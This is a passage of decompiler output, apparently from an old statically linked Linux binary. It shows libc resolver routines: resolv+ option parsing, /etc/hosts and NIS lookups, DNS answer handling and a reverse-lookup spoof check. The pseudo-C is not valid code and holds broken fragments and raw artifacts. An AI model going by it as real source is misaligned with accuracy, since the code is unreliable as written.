L0804adf7; } } L0804ae9c: (save)"multi"; L0804b395: (save)Vfffffbf4; (save)"resolv+: %s: \"%s\" command incorrectly formatted.\n"; (save)12; (save)11; (save) *L08078F9C; goto L0804b3ac; L0804adf7: edi = ebx; al = 0; asm("cld"); ecx = -1; asm("repne scasb"); if(ecx == -4 && L080566BC(ebx, "on", 2) == 0) { if(*(ebx + 2) == 0) { goto L0804ae32; } edx = *(ebx + 2) & 255; if(!( *( *L08078FA0 + edx * 2 + 1) & 32)) { goto L0804ae32; } } edi = ebx; al = 0; asm("cld"); ecx = -1; asm("repne scasb"); if(ecx == -5 && L080566BC(ebx, "off", 3) == 0) { if(*(ebx + 3) == 0) { goto L0804ae7f; } edx = *(ebx + 3) & 255; if(!( *( *L08078FA0 + edx * 2 + 1) & 32)) { goto L0804ae7f; } } (save)"multi"; L0804b261: (save)Vfffffbf4; (save)L0805E584( *L08078F9C, 11, 12, "resolv+: %s: \"%s\" command incorrectly formatted.\n"); (save)0x80787a4; L0804F680(); (save)ebx; (save)L0805E584( *L08078F9C, 11, 13, "resolv+: \"%s\" is an invalid keyword\n"); (save)0x80787a4; L0804F680(); esp = esp + 28; continue; L0804ae7f: *L08078510 = 0; continue; L0804ae32: *L08078510 = 1; continue; } ebx = L08057B30(Vfffffbf0, " \t"); if(ebx != 0 && *(ebx + 1) != 0) { do { if(*ebx == 32 || *ebx == 9) { L0804ab7c: ebx = ebx + 1; continue; } edi = L08057B30(ebx, " ,;:"); if(edi != 0) { *edi = 0; } if(L080566BC(ebx, "bind", 4) == 0) { if(*(ebx + 4) == 0) { goto L0804abc8; } edx = *(ebx + 4) & 255; if(!( *( *L08078FA0 + edx * 2 + 1) & 32)) { goto L0804abc8; } } if(L080566BC(ebx, "hosts", 5) == 0) { if(*(ebx + 5) == 0) { goto L0804ac16; } edx = *(ebx + 5) & 255; if(!( *( *L08078FA0 + edx * 2 + 1) & 32)) { goto L0804ac16; } } if(L080566BC(ebx, "nis", 3) == 0) { if(*(ebx + 3) == 0) { goto L0804ac52; } edx = *(ebx + 3) & 255; if(!( *( *L08078FA0 + edx * 2 + 1) & 32)) { goto L0804ac52; } } (save)"order"; (save)Vfffffbf4; (save)L0805E584( *L08078F9C, 11, 12, "resolv+: %s: \"%s\" command incorrectly formatted.\n"); (save)0x80787a4; L0804F680(); (save)ebx; (save)L0805E584( *L08078F9C, 11, 13, "resolv+: \"%s\" is an invalid keyword\n"); (save)0x80787a4; L0804F680(); (save)"nis"; (save)"hosts"; (save)"bind"; (save)L0805E584( *L08078F9C, 11, 14, "resolv+: valid keywords are: %s, %s and %s\n"); (save)0x80787a4; L0804F680(); esp = esp + 48; goto L0804acf0; L0804ac52: *(esi * 4 + 0x8079dd4) = 3; esi = esi + 1; goto L0804acf0; L0804ac16: *(esi * 4 + 0x8079dd4) = 2; esi = esi + 1; goto L0804acf0; L0804abc8: *(esi * 4 + 0x8079dd4) = 1; esi = esi + 1; if(!( *L0807854C & 1)) { L0804D744(); } L0804acf0: if(edi == 0) { break; } ebx = edi + 1; } while(ebx != 0); if(esi != 0) { continue; } (save)"order"; (save)Vfffffbf4; (save)L0805E584( *L08078F9C, 11, 12, "resolv+: %s: \"%s\" command incorrectly formatted.\n"); (save)0x80787a4; L0804F680(); (save)"resolv+: search order not specified or unrecognized keyword, host resolution will fail.\n"; (save)15; (save)11; (save) *L08078F9C; (save)L0805E584(); (save)0x80787a4; L0804F680(); esp = esp + 40; continue; } (save)"order"; (save)Vfffffbf4; (save)"resolv+: %s: \"%s\" command incorrectly formatted.\n"; (save)12; (save)11; (save) *L08078F9C; L0804b3ac: esp = esp + 16; (save)L0805E584(); (save)0x80787a4; L0804F680(); esp = esp + 16; } goto L0804ab7c; L0804b41c: *(esi * 4 + 0x8079dd4) = 0; L0804F540(Vfffffbfc); } ebx = L08055668("RESOLV_SERV_ORDER"); if(ebx != 0) { esi = 0; ebx = L080568D0(ebx, " ,;:"); if(ebx != 0) { do { if(L080566BC(ebx, "bind", 4) == 0) { if(*(ebx + 4) == 0) { goto L0804b492; } edx = *(ebx + 4) & 255; if(!( *( *L08078FA0 + edx * 2 + 1) & 32)) { goto L0804b492; } } if(L080566BC(ebx, "hosts", 5) == 0) { if(*(ebx + 5) == 0) { goto L0804b4da; } edx = *(ebx + 5) & 255; if(!( *( *L08078FA0 + edx * 2 + 1) & 32)) { goto L0804b4da; } } if(L080566BC(ebx, "nis", 3) == 0) { if(*(ebx + 3) == 0) { goto L0804b512; } edx = *(ebx + 3) & 255; if(!( *( *L08078FA0 + edx * 2 + 1) & 32)) { L0804b512: *(esi * 4 + 0x8079dd4) = 3; goto L0804b51d; L0804b4da: *(esi * 4 + 0x8079dd4) = 2; L0804b51d: esi = esi + 1; goto L0804b51e; L0804b492: *(esi * 4 + 0x8079dd4) = 1; esi = esi + 1; if(!( *L0807854C & 1)) { L0804D744(); } } } L0804b51e: ebx = L080568D0(0, " ,;:"); } while(ebx != 0); *(esi * 4 + 0x8079dd4) = 0; } } ebx = L08055668("RESOLV_SPOOF_CHECK"); if(ebx != 0) { if(L080566BC(ebx, "warn", 4) == 0) { if(*(ebx + 4) != 0) { edx = *(ebx + 4) & 255; if(*( *L08078FA0 + edx * 2 + 1) & 32) { goto L0804b59c; } } *L08078514 = 1; *L08078518 = 1; } else { L0804b59c: if(L080566BC(ebx, "off", 3) == 0) { if(*(ebx + 3) != 0) { edx = *(ebx + 3) & 255; if(*( *L08078FA0 + edx * 2 + 1) & 32) { goto L0804b5dc; } } *L08078514 = 0; *L08078518 = 0; } else { L0804b5dc: if(L080566BC(ebx, "warn off", 8) == 0) { if(*(ebx + 8) != 0) { edx = *(ebx + 8) & 255; if(*( *L08078FA0 + edx * 2 + 1) & 32) { goto L0804b61c; } } *L08078514 = 1; *L08078518 = 0; } else { L0804b61c: *L08078514 = 1; } } } } ebx = L08055668("RESOLV_MULTI"); if(ebx != 0) { if(L080566BC(ebx, "on", 2) == 0) { if(*(ebx + 2) == 0) { goto L0804b663; } edx = *(ebx + 2) & 255; if(!( *( *L08078FA0 + edx * 2 + 1) & 32)) { L0804b663: *L08078510 = 1; goto L0804b67a; } } *L08078510 = 0; } L0804b67a: ebx = L08055668("RESOLV_REORDER"); if(ebx != 0) { if(L080566BC(ebx, "on", 2) == 0) { if(*(ebx + 2) == 0) { goto L0804b6b7; } edx = *(ebx + 2) & 255; if(!( *( *L08078FA0 + edx * 2 + 1) & 32)) { L0804b6b7: *L0807851C = 1; goto L0804b6ce; } } *L0807851C = 0; } L0804b6ce: ebx = L08055668("RESOLV_ADD_TRIM_DOMAINS"); if(ebx != 0) { (save)" ,;:"; for((save)ebx; 1; (save)0) { ebx = L080568D0(); esp = esp + 8; if(ebx == 0) { break; } if(*L08078520 <= 3) { L08056640(Vfffffbf8, ebx); *( *L08078520 * 4 + 0x807a348) = Vfffffbf8; *L08078520 = *L08078520 + 1; edi = ebx; al = 0; asm("cld"); ecx = -1; asm("repne scasb"); edx = !ecx; Vfffffbec = edx; Vfffffbf8 = Vfffffbf8 + Vfffffbec; } (save)" ,;:"; } } eax = L08055668("RESOLV_OVERRIDE_TRIM_DOMAINS"); ebx = eax; if(ebx != 0) { *L08078520 = 0; Vfffffbf8 = 0x807a358; (save)" ,;:"; for((save)ebx; 1; (save)0) { eax = L080568D0(); ebx = eax; esp = esp + 8; if(ebx == 0) { break; } if(*L08078520 <= 3) { L08056640(Vfffffbf8, ebx); *( *L08078520 * 4 + 0x807a348) = Vfffffbf8; *L08078520 = *L08078520 + 1; edi = ebx; al = 0; asm("cld"); ecx = -1; asm("repne scasb"); edx = !ecx; Vfffffbec = edx; Vfffffbf8 = Vfffffbf8 + Vfffffbec; } (save)" ,;:"; } } *L080784F8 = 1; esp = ebp + -1056; } /* Procedure: 0x0804B7FE - 0x0804B7FF * Argument size: 0 * Local size: 0 * Save regs size: 0 */ L0804B7FE() { } /* Procedure: 0x0804B800 - 0x0804BEAC * Argument size: 20 * Local size: 312 * Save regs size: 12 */ L0804B800(A8, Ac, A10, A14, A18) /* unknown */ void A8; /* unknown */ void Ac; /* unknown */ void A10; /* unknown */ void A14; /* unknown */ void A18; { /* unknown */ void ebx; /* unknown */ void esi; /* unknown */ void edi; /* unknown */ void Vfffffec8; /* unknown */ void Vfffffed0; /* unknown */ void Vfffffed4; /* unknown */ void Vfffffed8; /* unknown */ void Vfffffedc; /* unknown */ void Vfffffee0; /* unknown */ void Vfffffee4; /* unknown */ void Vfffffee8; /* unknown */ void Vfffffeec; /* unknown */ void Vfffffef0; /* unknown */ void Vfffffef4; /* unknown */ void Vfffffef8; /* unknown */ void Vfffffefc; Vfffffed4 = 0; Vfffffed0 = A10; *L08079E74 = 0; Vfffffef8 = A8 + Ac; ax = *(A8 + 6); asm("xchg al,ah"); Vfffffee0 = ax & 65535; ax = *(A8 + 4); asm("xchg al,ah"); Vfffffef4 = 0x8079f14; Vfffffee4 = 1025; esi = A8 + 12; if(ax != 1) { *L0807E788 = 3; } else { ebx = L0804D02C(A8, Vfffffef8, esi, Vfffffef4, Vfffffee4); if(ebx < 0) { *L0807E788 = 3; } else { L0805E954(); esi = esi + ebx + 4; if(A18 == 1) { edi = Vfffffef4; al = 0; asm("cld"); ecx = -1; asm("repne scasb"); ebx = !ecx; edx = Vfffffef4; *L08079E74 = edx; Vfffffef4 = *L08079E74 + ebx; Vfffffee4 = Vfffffee4 - ebx; A10 = *L08079E74; } Vfffffef0 = 0x8079e88; *L08079E88 = 0; *L08079E78 = 0x8079e88; Vfffffeec = 0x8079de4; *L08079DE4 = 0; *L08079E84 = 0x8079de4; Vfffffedc = 0; Vfffffed8 = 0; eax = Vfffffee0; Vfffffee0 = Vfffffee0 - 1; if(eax > 0 && Vfffffef8 > esi) { do { ebx = L0804D02C(A8, Vfffffef8, esi, Vfffffef4, Vfffffee4); if(ebx >= 0) { esi = esi + ebx; (save)esi; edi = L0804D6B8() & 65535; esi = esi + 2; (save)esi; Vfffffee8 = L0804D6B8() & 65535; esi = esi + 6; (save)esi; ebx = L0804D6B8() & 65535; esi = esi + 2; esp = esp + 12; if(Vfffffee8 != A14) { goto L0804bda7; } if(A18 == 1 && edi == 5) { goto L0804b9f6; } if(A18 == 12 && edi == 5) { goto L0804bb38; } if(A18 != edi) { goto L0804bba7; } if(edi != 1) { goto L0804bbe5; } if(L080565F8( *L08079E74, Vfffffef4) != 0) { goto L0804bc86; } if(Vfffffedc == 0) { *L08079E80 = ebx; ecx = 0x8079e7c; if(Vfffffee8 != 1) { *ecx = 0; } else { *L08079E7C = 2; } edx = Vfffffef4; *L08079E74 = edx; edi = Vfffffef4; al = 0; asm("cld"); ecx = -1; asm("repne scasb"); ecx = !ecx; Vfffffec8 = ecx; Vfffffef4 = edx + ecx; Vfffffee4 = Vfffffee4 - ecx; } else { if(*L08079E80 != ebx) { goto L0804bda7; } } Vfffffef4 = Vfffffef4 + 4 - (Vfffffef4 & 3); if(Vfffffef4 + ebx < 0x807a315) { if(Vfffffeec < 0x8079e6c) { eax = Vfffffef4; edx = Vfffffeec; *edx = eax; Vfffffeec = edx + 4; L08056480(esi, *edx, ebx); Vfffffef4 = Vfffffef4 + ebx; esi = esi + ebx; goto L0804bde0; } if(*L0807854C & 2) { goto L0804bda7; } Vfffffed4 = Vfffffed4 + 1; if(Vfffffed4 != 1) { goto L0804bda7; } L0804F7EC("Too many addresses (%d)\n", 35); goto L0804bda7; } if(!( *L0807854C & 2)) { L0804F7EC("size (%d) too big\n", ebx); goto L0804bd6c; L0804bda7: esi = esi + ebx; goto L0804bdef; L0804bc86: (save)Vfffffef4; edx = *L08079E74; goto L0804bc8d; L0804bbe5: if(edi != 12) { L08055ECC(); } else { if(L080565F8(Vfffffed0, Vfffffef4) != 0) { goto L0804bc10; } if(L0804D02C(A8, Vfffffef8, esi, Vfffffef4, Vfffffee4) >= 0) { goto L0804bc4c; } Vfffffed8 = Vfffffed8 + 1; } L0804bde0: if(Vfffffed8 != 0) { goto L0804bdef; } Vfffffedc = Vfffffedc + 1; goto L0804bdef; L0804bc10: (save)Vfffffef4; edx = A10; L0804bc8d: (save)edx; (save)L0805E584( *L08078F9C, 11, 26, "gethostby*.getanswer: asked for \"%s\", got \"%s\""); (save)37; L08054EB0(); esi = esi + ebx; esp = esp + 16; goto L0804bdef; L0804bba7: (save)Vfffffef4; (save)edi; (save)A10; (save)A18; (save)L0805E584( *L08078F9C, 11, 28, "gethostby*.getanswer: asked for type %d(%s), got %d(%s)"); (save)37; L08054EB0(); esi = esi + ebx; esp = esp + 24; goto L0804bdef; L0804bb38: ebx = L0804D02C(A8, Vfffffef8, esi, & Vfffffefc, 257); if(ebx >= 0) { esi = esi + ebx; edi = & Vfffffefc; al = 0; asm("cld"); ecx = -1; asm("repne scasb"); ebx = !ecx; if(Vfffffee4 >= ebx) { L08056640(Vfffffef4, & Vfffffefc); edx = Vfffffef4; Vfffffed0 = edx; goto L0804bb86; L0804b9f6: if(Vfffffef0 >= 0x8079f10) { goto L0804bdef; } ebx = L0804D02C(A8, Vfffffef8, esi, & Vfffffefc, 257); if(ebx >= 0) { esi = esi + ebx; if(*L08079E74 != 0 && L080565F8( *L08079E74, Vfffffef4) != 0) { goto L0804ba5c; } edx = Vfffffef4; eax = Vfffffef0; *eax = edx; Vfffffef0 = eax + 4; edi = Vfffffef4; al = 0; asm("cld"); ecx = -1; asm("repne scasb"); ebx = !ecx; Vfffffef4 = edx + ebx; Vfffffee4 = Vfffffee4 - ebx; edi = & Vfffffefc; asm("cld"); ecx = -1; asm("repne scasb"); ebx = !ecx; if(Vfffffee4 >= ebx) { goto L0804baed; } } } } } } L0804bd6c: Vfffffed8 = Vfffffed8 + 1; goto L0804bdef; L0804baed: (save) & Vfffffefc; (save)Vfffffef4; L08056640(); edx = Vfffffef4; *L08079E74 = edx; L0804bb86: Vfffffef4 = edx + ebx; Vfffffee4 = Vfffffee4 - ebx; goto L0804bdef; L0804ba5c: (save)Vfffffef4; (save) *L08079E74; (save)L0805E584( *L08078F9C, 11, 27, "gethostby*.getanswer: asked for \"%s\", got CNAME for \"%s\""); (save)37; L08054EB0(); esp = esp + 16; L0804bdef: eax = Vfffffee0; Vfffffee0 = Vfffffee0 - 1; if(eax <= 0 || Vfffffef8 <= esi) { break; } } while(Vfffffed8 == 0); goto L0804be14; L0804bc4c: *L08079E74 = Vfffffef4; L0804bc58: eax = 0x8079e74; goto L0804bea0; } L0804be14: if(Vfffffedc != 0) { *Vfffffef0 = 0; *Vfffffeec = 0; if(!( *L080786A8 & 240) && Vfffffedc > 1 && A14 == 1 && A18 == 1) { L0804CBE4(0x8079de4, Vfffffedc); } if(*L08079E74 != 0) { goto L0804bc58; } L08056640(Vfffffef4, A10); *L08079E74 = Vfffffef4; goto L0804bc58; } *L0807E788 = 2; } } eax = 0; L0804bea0: esp = ebp + -324; } /* Procedure: 0x0804BEAD - 0x0804BF7E * Argument size: 0 * Local size: 0 * Save regs size: 12 */ L0804BEAD() { /* unknown */ void ebx; /* unknown */ void esi; /* unknown */ void edi; if(*L080784F8 == 0) { L0804A9D8(); } edi = 0; if(*L08079DD4 != 0) { esi = 0x8079dd4; do { if(edi > 3) { break; } eax = *esi; if(eax == 2) { ebx = L0804C5A4(); if(*L08079DE8 != 0 && *L0807851C != 0) { L0804A5CC(ebx); } if(ebx != 0) { goto L0804bf4c; } } else { <= ? L0804bf66 : ; if(eax != 3) { goto L0804bf66; } ebx = L0804C9E4(0, "hosts.byname"); if(*L08079DE8 != 0 && *L0807851C != 0) { L0804A5CC(ebx); } if(ebx != 0) { goto L0804bf4c; } } *L0807E788 = 1; L0804bf66: esi = esi + 4; edi = edi + 1; } while(*esi != 0); goto L0804bf73; L0804bf4c: *L0807E788 = 0; eax = ebx; } else { L0804bf73: eax = 0; } } /* Procedure: 0x0804BF7F - 0x0804BF7F * Argument size: 0 * Local size: 0 * Save regs size: 0 */ L0804BF7F() { } /* Procedure: 0x0804BF80 - 0x0804C233 * Argument size: 4 * Local size: 1028 * Save regs size: 12 */ L0804BF80(A8) /* unknown */ void A8; { /* unknown */ void ebx; /* unknown */ void esi; /* unknown */ void edi; /* unknown */ void Vfffffc00; if(!( *( *L08078FA0 + ( *A8 & 255) * 2 + 1) & 8)) { ecx = A8; goto L0804c049; L0804bfac: (save)A8; eax = L0804CE8C(); *L0807A318 = eax; if(*L0807A318 == -1) { *L0807E788 = 1; goto L0804c225; } *L08079E74 = A8; *L08079E78 = 0x8079e88; *L08079E88 = 0; *L08079E7C = 2; *L08079E80 = 4; *L08079DE4 = 0x807a318; *L08079DE8 = 0; *L08079E84 = 0x8079de4; *L0807E788 = 0; eax = 0x8079e74; goto L0804c227; L0804c049: while(*ecx != 0) { edx = *ecx & 255; if(!( *( *L08078FA0 + edx * 2 + 1) & 8) && *ecx != 46) { goto L0804c058; } ecx = ecx + 1; } if(*(ecx - 1) != 46) { goto L0804bfac; } } L0804c058: if(*L080784F8 == 0) { L0804A9D8(); } edi = 0; if(*L08079DD4 != 0) { do { if(edi > 3) { break; } eax = *(edi * 4 + 0x8079dd4); if(eax == 2) { if(*L0807A348 == 0) { esi = L0804C6FC(A8); } else { (save)A8; ebx = L08056664(); L0804A4F4(ebx); (save)ebx; esi = L0804C6FC(); (save)ebx; L0805C290(); esp = esp + 16; } if(*L08079DE8 != 0 && *L0807851C != 0) { L0804A5CC(esi); } if(esi != 0) { goto L0804c1fa; } L0804c20c: *L0807E788 = 1; } else { > ? L0804c0a0 : ; if(eax != 1) { goto L0804c098; } eax = L0804E180(A8, 1, 1, & Vfffffc00, 1024); if(eax >= 0) { esi = L0804B800( & Vfffffc00, eax, A8, 1, 1); if(*L08079DE8 != 0 && *L0807851C != 0) { L0804A5CC(esi); } if(esi == 0) { goto L0804c216; } else { goto L0804c1fa; } } if(!( *L0807854C & 2)) { L0804F7EC("res_search failed\n"); goto L0804c216; L0804c098: } } L0804c216: edi = edi + 1; } while(*(edi * 4 + 0x8079dd4) != 0); goto L0804c225; if(eax != 3) { goto L0804c216; } if(*L0807A348 != 0) { (save)A8; ebx = L08056664(); L0804A4F4(ebx); (save)"hosts.byname"; (save)ebx; esi = L0804C9E4(); (save)ebx; L0805C290(); esp = esp + 20; } else { esi = L0804C9E4(A8, "hosts.byname"); } if(*L08079DE8 != 0 && *L0807851C != 0) { L0804A5CC(esi); } if(esi == 0) { goto L0804c20c; } L0804c1fa: *L0807E788 = 0; eax = L0804A580(esi); } else { L0804c225: eax = 0; } L0804c227: esp = ebp + -1040; } /* Procedure: 0x0804C234 - 0x0804C534 * Argument size: 12 * Local size: 1544 * Save regs size: 12 */ L0804C234(A8, Ac, A10) /* unknown */ void A8; /* unknown */ void Ac; /* unknown */ void A10; { /* unknown */ void ebx; /* unknown */ void esi; /* unknown */ void edi; /* unknown */ void Vfffff9f8; /* unknown */ void Vfffff9fc; /* unknown */ void Vfffff9fd; /* unknown */ void Vfffffb00; /* unknown */ void Vfffffc00; if(A10 != 2) { *L0807E788 = -1; goto L0804c526; L0804c258: *L0807E788 = 0; eax = edi; } else { if(*L080784F8 == 0) { L0804A9D8(); } L0805E954(); esi = 0; if(*L08079DD4 != 0) { ebx = & Vfffffb00; Vfffff9f8 = & Vfffff9fc; do { eax = *(esi * 4 + 0x8079dd4); if(eax == 2) { edi = L0804CB94(A8, Ac, A10); L0804c505: if(edi != 0) { goto L0804c258; } else { goto L0804c50d; } } > ? L0804c2bc : ; if(eax == 1) { ecx = A8; L0804F808(); eax = L0804DFE0(ebx, 1, 12, & Vfffffc00, 1024, ebx, "%u.%u.%u.%u.in-addr.arpa", *(ecx + 3) & 255, *(ecx + 2) & 255, *(ecx + 1) & 255, *ecx & 255); if(eax >= 0) { edi = L0804B800( & Vfffffc00, eax, ebx, 1, 12); if(edi != 0) { goto L0804c34b; } L0804c50d: *L0807E788 = 1; } else { if(!( *L0807854C & 2)) { L0804F7EC("res_query failed\n"); } } } L0804c517: esi = esi + 1; } while(*(esi * 4 + 0x8079dd4) != 0); goto L0804c526; if(eax != 3) { goto L0804c517; L0804c34b: if(*L08078514 != 0) { edx = *edi; al = 0; edi = edx; asm("cld"); ecx = -1; asm("repne scasb"); esi = !ecx - 1; if(esi > 255) { goto L0804c526; } (save)edx; (save)Vfffff9f8; L08056640(); *(esi + & Vfffff9fc) = 46; *(esi + & Vfffff9fd) = 0; ebx = *L08078520; *L08078520 = 0; edi = L0804BF80(Vfffff9f8); *L08078520 = ebx; *(esi + & Vfffff9fc) = 0; if(edi == 0 || L08057ADC(Vfffff9f8, *edi) != 0) { *L0807E788 = 1; goto L0804c526; } ebx = *(edi + 16); do { if(L08056450( *ebx, A8, Ac) == 0) { goto L0804c4aa; } ebx = ebx + 4; } while(*ebx != 0); *L0807E788 = 1; if(*L08078518 == 0) { goto L0804c526; } (save)32; (save)1; (save)"resolv"; L080552B0(); ecx = A8; (save) *(ecx + 3) & 255; (save) *(ecx + 2) & 255; (save) *(ecx + 1) & 255; (save) *ecx & 255; (save) *edi; (save)L0805E584( *L08078F9C, 11, 16, "gethostbyaddr: %s != %u.%u.%u.%u, possible spoof attempt"); (save)5; L08054EB0(); goto L0804c526; } *(edi + 8) = A10; *(edi + 12) = Ac; *L08079DE4 = 0x807a318; *L08079DE8 = 0; *L0807A318 = *A8; L0804c4aa: *L0807E788 = 0; eax = L0804A580(edi); goto L0804c528; } ecx = A8; L0804F808(); edi = L0804C9E4(ebx, "hosts.byaddr", ebx, "%u.%u.%u.%u", *ecx & 255, *(ecx + 1) & 255, *(ecx + 2) & 255, *(ecx + 3) & 255); goto L0804c505; } L0804c526: eax = 0; } L0804c528: esp = ebp + -1556; } /* Procedure: 0x0804C535 - 0x0804C537 * Argument size: 0 * Local size: 0 * Save regs size: 0 */ L0804C535() { } /* Procedure: 0x0804C538 - 0x0804C573 * Argument size: 4 * Local size: 0 * Save regs size: 0 */ L0804C538(A8) /* unknown */ void A8; { if(*L08078508 == 0) { (save)"r"; (save)"/etc/hosts"; eax = L0804F620(); *L08078508 = eax; } else { eax = L08054DB8( *L08078508); } *L0807850C = *L0807850C | A8; } /* Procedure: 0x0804C574 - 0x0804C5A1 * Argument size: 0 * Local size: 0 * Save regs size: 0 */ L0804C574() { if(*L08078508 != 0 && *L0807850C == 0) { eax = L0804F540( *L08078508); *L08078508 = 0; } } /* Procedure: 0x0804C5A2 - 0x0804C5A3 * Argument size: 0 * Local size: 0 * Save regs size: 0 */ L0804C5A2() { } /* Procedure: 0x0804C5A4 - 0x0804C6FB * Argument size: 0 * Local size: 0 * Save regs size: 8 */ L0804C5A4() { /* unknown */ void ebx; /* unknown */ void esi; if(*L08078508 == 0) { eax = L0804F620("/etc/hosts", "r"); *L08078508 = eax; if(*L08078508 == 0) { *L0807E788 = -1; eax = 0; goto L0804c6f3; } } L0804c5e0: do { esi = L0804F5C4(0x8079f14, 1024, *L08078508); if(esi == 0) { goto L0804c5fe; } if(*esi == 35) { goto L0804c5e0; } ebx = L08057B30(esi, "#\n"); if(ebx == 0) { goto L0804c5e0; } *ebx = 0; ebx = L08057B30(esi, " \t"); } while(ebx == 0); goto L0804c640; L0804c5fe: *L0807E788 = 1; eax = 0; goto L0804c6f3; L0804c640: *ebx = 0; ebx = ebx + 1; *L08079E84 = 0x807a340; *L0807A340 = 0x807a31c; edx = L0804CE8C(esi); *( *( *L08079E84)) = edx; *L08079E80 = 4; for(*L08079E7C = 2; *ebx == 32 || *ebx == 9; ebx = ebx + 1) { } *L08079E74 = ebx; *L08079E78 = 0x8079e88; for(esi = 0x8079e88; 1; esi = esi + 4) { ebx = L08057B30(ebx, " \t"); if(ebx == 0) { break; } *ebx = 0; do { if(!(ebx = ebx + 1) || *ebx == 0) { goto L0804c6de; } if(*ebx == 32) { continue; } } while(*ebx == 9); if(esi >= 0x8079f10) { continue; } *esi = ebx; } L0804c6de: *esi = 0; *L0807E788 = 0; eax = 0x8079e74; L0804c6f3: } /* Procedure: 0x0804C6FC - 0x0804C9E0 * Argument size: 4 * Local size: 120 * Save regs size: 12 */ L0804C6FC(A8) /* unknown */ void A8; { /* unknown */ void ebx; /* unknown */ void esi; /* unknown */ void edi; /* unknown */ void Vffffff8c; /* unknown */ void Vffffff90; /* unknown */ void Vffffff94; /* unknown */ void Vffffff98; /* unknown */ void Vffffff9c; /* unknown */ void Vffffffa0; /* unknown */ void Vffffffa4; /* unknown */ void Vffffffa8; /* unknown */ void Vffffffac; /* unknown */ void Vffffffb0; /* unknown */ void Vffffffb4; /* unknown */ void Vffffffb8; /* unknown */ void Vffffffbc; /* unknown */ void Vffffffc0; edi = 0; Vffffff9c = 0; Vffffffb4 = 0x8079bb8; Vffffffb0 = 0x8079c48; *L08079BB8 = 0; *L08079C48 = 0; Vffffffac = 0x80793b4; Vffffffa8 = 0x80797b5; Vffffffa4 = 1025; Vffffffa0 = 1025; *L08079CEC = 0; *L08079CF0 = 0; (save)A8; (save)0x8079d78; L08056640(); (save)64; (save) & Vffffffc0; L08056954(); L0804C538(0); for(Vffffff98 = ebx; 1; Vffffff9c = 0) { esi = L0804C5A4(); if(esi == 0) { goto L0804c8d8; } if(L080565F8( *esi, A8) != 0) { L0804c7b0: ebx = *(esi + 4); do { if(L080565F8( *ebx, A8) == 0) { edi = edi + 1; *L08079CEC = A8; L08056640(0x8079d78, *esi); } ebx = ebx + 4; } while(*ebx != 0); } else { edi = edi + 1; } if(L080565F8( *esi, Vffffff98) != 0) { ebx = *(esi + 4); do { if(L080565F8( *ebx, Vffffff98) == 0) { Vffffff9c = Vffffff9c + 1; } ebx = ebx + 4; } while(*ebx != 0); } else { Vffffff9c = Vffffff9c + 1; } if(edi != 0) { if(*L08078510 == 0) { goto L0804c8f0; } ebx = *(esi + 12); *L08079CE0 = *(esi + 8); *L08079CE4 = *(esi + 12); if(Vffffffa4 >= ebx) { L08056480( *( *(esi + 16)), Vffffffac, ebx); edx = Vffffffac; ecx = Vffffffb4; *ecx = edx; ecx = ecx + 4; Vffffffb4 = ecx; *Vffffffb4 = 0; Vffffffac = edx + ebx; Vffffffa4 = Vffffffa4 - ebx; } edi = 0; } if(Vffffff9c == 0) { continue; } ebx = *(esi + 12); if(Vffffffa0 >= ebx) { L08056480( *( *(esi + 16)), Vffffffa8, ebx); ecx = Vffffffa8; edx = Vffffffb0; *edx = ecx; edx = edx + 4; Vffffffb0 = edx; *Vffffffb0 = 0; Vffffffa8 = ecx + ebx; Vffffffa0 = Vffffffa0 - ebx; } } goto L0804c7b0; L0804c8d8: L0804C574(); if(*L08079BB8 == 0) { eax = 0; goto L0804c9d4; L0804c8f0: L0804C574(); eax = esi; } else { *L08079CDC = 0x8079cec; *L08079CD8 = 0x8079d78; Vffffff94 = 0; Vffffff90 = -1; if(*L08079C48 != 0) { Vffffff8c = 0x8079c48; do { edi = 0; if(*L08079BB8 != 0) { esi = 0x8079bb8; do { L08056480( *Vffffff8c, & Vffffffbc, *L08079CE4); ebx = Vffffffbc; asm("xchg bl,bh"); asm("ror ebx,0x10"); asm("xchg bl,bh"); L08056480( *esi, & Vffffffb8, *L08079CE4); eax = ebx ^ Vffffffb8; Vffffffbc = eax; if(eax < Vffffff90) { Vffffff94 = edi; Vffffff90 = eax; } esi = esi + 4; edi = edi + 1; } while(*esi != 0); } Vffffff8c = Vffffff8c + 4; } while(*Vffffff8c != 0); } if(Vffffff94 != 0) { edx = Vffffff94; *L08079BB8 = *(edx * 4 + 0x8079bb8); *(edx * 4 + 0x8079bb8) = *L08079BB8; } *L08079CE8 = 0x8079bb8; eax = 0x8079cd8; } L0804c9d4: esp = ebp + -132; } /* Procedure: 0x0804C9E1 - 0x0804C9E3 * Argument size: 0 * Local size: 0 * Save regs size: 0 */ L0804C9E1() { } /* Procedure: 0x0804C9E4 - 0x0804CB92 * Argument size: 8 * Local size: 8 * Save regs size: 12 */ L0804C9E4(A8, Ac) /* unknown */ void A8; /* unknown */ void Ac; { /* unknown */ void ebx; /* unknown */ void edi; /* unknown */ void Vfffffff8; /* unknown */ void Vfffffffc; ebx = A8; if(*L0807852C == 0 && L0805D5F8(0x807852c) != 0) { goto L0804cab1; } if(ebx != 0) { (save) & Vfffffff8; (save) & Vfffffffc; al = 0; edi = ebx; asm("cld"); ecx = -1; asm("repne scasb"); (save) !ecx - 1; (save)ebx; (save)Ac; (save) *L0807852C; eax = L0805D3A8(); esp = esp + 24; } else { if(*L08078528 != 0) { if(L0805D638( *L0807852C, Ac, 0x8079dcc, 0x8079dd0, & Vfffffffc, & Vfffffff8) != 0) { goto L0804cab1; } *L08078528 = 0; goto L0804cab8; } eax = L0805D814( *L0807852C, Ac, *L08079DCC, *L08079DD0, 0x8079dcc, 0x8079dd0, & Vfffffffc, & Vfffffff8); } if(eax != 0) { L0804cab1: eax = 0; } else { L0804cab8: ebx = L08057970(Vfffffffc, 10); if(ebx != 0) { *ebx = 0; } (save)" \t"; (save)Vfffffffc; ebx = L08057B30(); *ebx = 0; ebx = ebx + 1; *L08079DC8 = 0x807a340; *L0807A340 = 0x807a31c; (save)Vfffffffc; *( *( *L08079DC8)) = L0804CE8C(); *L08079DC4 = 4; *L08079DC0 = 2; for(esp = esp + 12; *ebx == 32 || *ebx == 9; ebx = ebx + 1) { } *L08079DB8 = ebx; *L08079DBC = 0x8079e88; for(edi = 0x8079e88; 1; edi = edi + 4) { ebx = L08057B30(ebx, " \t"); if(ebx == 0) { break; } *ebx = 0; do { if(!(ebx = ebx + 1) || *ebx == 0) { goto L0804cb7e; } if(*ebx == 32) { continue; } } while(*ebx == 9); if(edi >= 0x8079f10) { continue; } *edi = ebx; } L0804cb7e: *edi = 0; eax = 0x8079db8; } esp = ebp - 20; } /* Procedure: 